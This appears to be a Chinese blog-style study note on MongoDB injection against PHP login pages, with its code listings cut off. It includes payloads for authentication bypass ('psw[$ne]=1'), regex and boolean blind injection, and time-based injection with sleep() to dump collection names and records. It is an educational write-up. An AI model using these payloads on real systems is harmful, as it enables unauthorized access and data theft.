最近看了些关于mongoDB注入的东西,试着复现一下做个笔记
什么是mongoDB
mongoDB是属于NoSQL数据库一类,但它还是很偏向于关系型数据库,相对与传统的关系型数据库,键值间的关系又没有那么强
mongoDB的基础
这里就不详细写了,百度一下有一堆的资源
MongoDB教程
万能密码(?)
这块的操作感觉和万能密码很像,下面是一个登录界面的源码
1 | <?php |
这里我们输入用户的账号和密码后,正确就会返回我们的用户名
假若我们知道管理员的账号名是admin,那我们怎么进行绕过登录
首先,在mongoDB中,有这么个条件操作符$ne
,它指的是!
在查询的语句中,当出现key:{$ne:val}
时,会被等价于key!=val
,这时就能把非val的数据查找出来
读源码就能知道,只要我们能实现psw!=$_POST['psw']
,那我们就能随意登录任意账号。要实现这一点,就要利用在php中,会将数组中的数组解析为["xxx"=>["xxx"=>"xxx"]]
。再经过findOne后就会变成{xxx:{xxx:xxx}}
所以我们只要传入user=admin&psw[$ne]=1
,就能任意登录成功
盲注登录
先上代码
1 | <?php |
读源码我们可以知道,这里对用户名和密码是否是数组进行了判断,若是数据就算是用户密码正确我们也无法登录
然后给出的信息只有登录成功与失败两种,那我们可以尝试盲注
在mongoDB中,我们可以用$regex
这个标识符来对要查询的值进行正则匹配
这题我们就可以构造user=admin&psw[$regex]=^a
这样来进行盲注
回显爆表、列、值
1 | <html> |
这份源码简单来说就是通过拼接字符串来进行sql查询。由于低版本的excute()函数能够使用//
注释,导致了我们可以利用注入【由于我用的是高版本这里就没有示例,写一下思路和一些推测
首先我们先试出服务器返回的数据参数的数量与名字user=test’});return{something:1}}//
通过这句查询,若有开启报错的话我们就可以知道返回的数据的信息。若没报错也许可以通过抓包来得到返回了多少数据
得到返回数据的参数数量后,我们就构造user=test'});return{user:2};//
这时会和sql注入中union select
一样回显出2
然后有这么几个函数1
2
3db.version() 获得数据库版本
db.getName() 获得数据库名字
db.getCollectionNames() 获得库中所有集合名
通过这几个函数来构造payloaduser=test'});return {user:tojson(function)};//
我们就可以得到想要的许多信息【其实查了一下还有一些函数是可以删库的,跑路警告
最后用user=test'});return {user:tojson(db.test.find()[0])};//
就能将数据一个个爆出来
不过上面也说了,注释只能在低版本情况下使用。当为高版本时,这种注入会报错。于是我们可以尝试闭合语句来进行爆库
user=1'});return{psw:1};({a:'9
像上面这条语句这样,尽管return后的代码是不能执行的,但我们依旧要保持语句语法的正确才能成功执行
获得所有集合名
user=1'});return{psw:tojson(db.getCollectionNames())};({a:'9
获得数据
user=1'});return{psw:tojson(db.age.find()[0])};({a:'9
时间盲注
除了上面闭合的这种方法,我们可以使用高版本下提供的sleep函数进行时间盲注。就算是不回显我们也照样能爆数据
一个比较简单的例子user=test'});if (db.version()>"0") {sleep(10000); exit;}var b=({a:'1
这句就是当版本高于0时延时10秒,然后用一个b参数来闭合语句
我们可以看到这里成功延时了10秒
利用这个漏洞,我们试着查一下集合名长度user=test'});if (db.getCollectionNames()[1].length>0) {sleep(10000); exit;}var b=({a:'1
一个个尝试获得第二个集合名长度
然后再查集合名user=test'});if (db.getCollectionNames()[1][0]=="a") {sleep(10000); exit;}var b=({a:'1
也是一个个试查出集合名
脚本当然是自己写啦【手动滑稽
布尔注入
1 | <html> |
读源码,使用了mongoDB自定义函数的功能,当存在if判断为正确时就返回存在
这里我们就可以用上布尔盲注,和登录那里不太一样,这里是可以去爆数据的
像这样test'&&db.getCollectionNames().length>0&&'1'=='1
但不知道为什么我试的时候总报错db未定义,估计是把这个漏洞补上了吧,再看看有没有什么新姿势吧